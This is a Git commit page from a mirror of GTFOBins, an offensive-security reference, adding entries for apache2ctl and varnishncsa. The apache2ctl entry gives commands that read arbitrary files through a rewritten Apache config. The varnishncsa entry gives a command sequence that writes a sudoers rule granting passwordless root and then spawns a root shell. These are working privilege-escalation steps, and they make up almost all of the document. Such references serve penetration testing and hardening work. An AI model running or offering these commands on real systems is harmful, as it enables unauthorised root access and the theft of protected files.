mirror/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
Code Issues

Add varnishncsa & apache2ctl

Browse Source 
This commit adds 2 files (_gtfobins/apache2ctl.md and _gtfobins/varnishncsa.md) containing privilege escalation methods for the varnishncsa and apache2ctl utilities.
This commit is contained in:
nuts7 2023-06-19 10:59:59 +02:00
parent d48892a5cc
commit 2c9f0de8e5
2 changed files with 24 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
_gtfobins/apache2ctl.md Normal file
View File

@ -0,0 +1,16 @@
---
description: apache2ctl is a front end to the Apache HyperText Transfer Protocol (HTTP) server. It is designed to help the administrator control the functioning of the Apache apache2 daemon.
functions:
file-read:
- code: cp -r /etc/apache2/ /tmp/apache2
- code: |
LFILE=file_to_read
echo "Include $LFILE" >> /tmp/apache2/apache2.conf
- code: apache2ctl -d /tmp/apache2 -k restart
sudo:
- code: cp -r /etc/apache2/ /tmp/apache2
- code: |
LFILE=file_to_read
echo "Include $LFILE" >> /tmp/apache2/apache2.conf
- code: sudo apache2ctl -d /tmp/apache2 -k restart
---

8
_gtfobins/varnishncsa.md Normal file
View File

@ -0,0 +1,8 @@
---
description: varnishncsa utility reads varnishd shared memory Varnish logs and presents them in the Apache / NCSA "combined" log format.
functions:
sudo:
- code: sudo varnishncsa -g request -q "ReqURL ~ \"/exploit_randomfoo\"" -F '%{exploit}i' -w /etc/sudoers.d/user &
- code: curl -H 'exploit: user ALL = (ALL) NOPASSWD: ALL' localhost:6081/exploit_randomfoo
- code: sudo bash
---